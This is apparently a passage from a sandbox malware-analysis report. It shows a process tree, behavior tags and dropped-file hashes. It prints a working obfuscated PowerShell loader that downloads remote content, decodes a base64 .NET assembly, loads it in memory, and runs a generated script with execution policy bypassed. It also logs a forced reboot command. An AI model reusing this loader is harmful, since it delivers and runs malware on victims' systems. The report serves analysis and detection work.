[System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $pdtzq ) ;$Stringbase = $cRmec; $cRmec = BaseMy;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$mwmDz = $PhrlN.DownloadString( $ufKME ) ;$mwmDz | Out-File -FilePath $STfGl -force ;$jFKQt = '$sNwoM = ''C:\Users\Admin\AppData\Local\Temp\72165d54d7e77e68ec5263d8ea9f5041.wsf'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$jFKQt += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$jFKQt += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$jFKQt += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$jFKQt += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/ZCtsT/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$jFKQt | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"3⤵
- Blocklisted process makes network request
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe JCCGX /quiet /norestart4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Windows\system32\wusa.exe"C:\Windows\system32\wusa.exe" JCCGX /quiet /norestart5⤵
- Drops file in Windows directory
PID:2500
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2560
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C:\Windows\system32\shutdown.exe"C:\Windows\system32\shutdown.exe" /r /t 0 /f4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1032
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵PID:2008
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵PID:1580
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD53ae58aef3ebe60bf16aad6128542fcfd
SHA1c89dc399c29abdfe226c4a02d1fe48a672113ec7
SHA256e76c428f14d7a4ae536e1361bb1f386a879cad67088f928955dae56faac15bc1
SHA51245ccdd2bbf8cfd9857f67a16c404a364883cfba7e2b8b367a2b9b01bc147a125b5928a9132b787251c8e029e0c5b0080f3bf55bea8ce28f766a9a1dbed78f140
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD505b9198edeb4616c2307e90d66571bf3
SHA14db2b8885c1a9c8741dc07394d8c0847ca041344
SHA25624aaddadfd8de4ecf6a97ebe05b757eafea54a229566153024a9471944a25cb9
SHA51211c4dd70fa10ec89fb6a03ad539633a2759a612ebee3e18395285eb931e605fd89928afd0f01933592b1772d61f43d528d4123324e618f61695fdb7b607392ba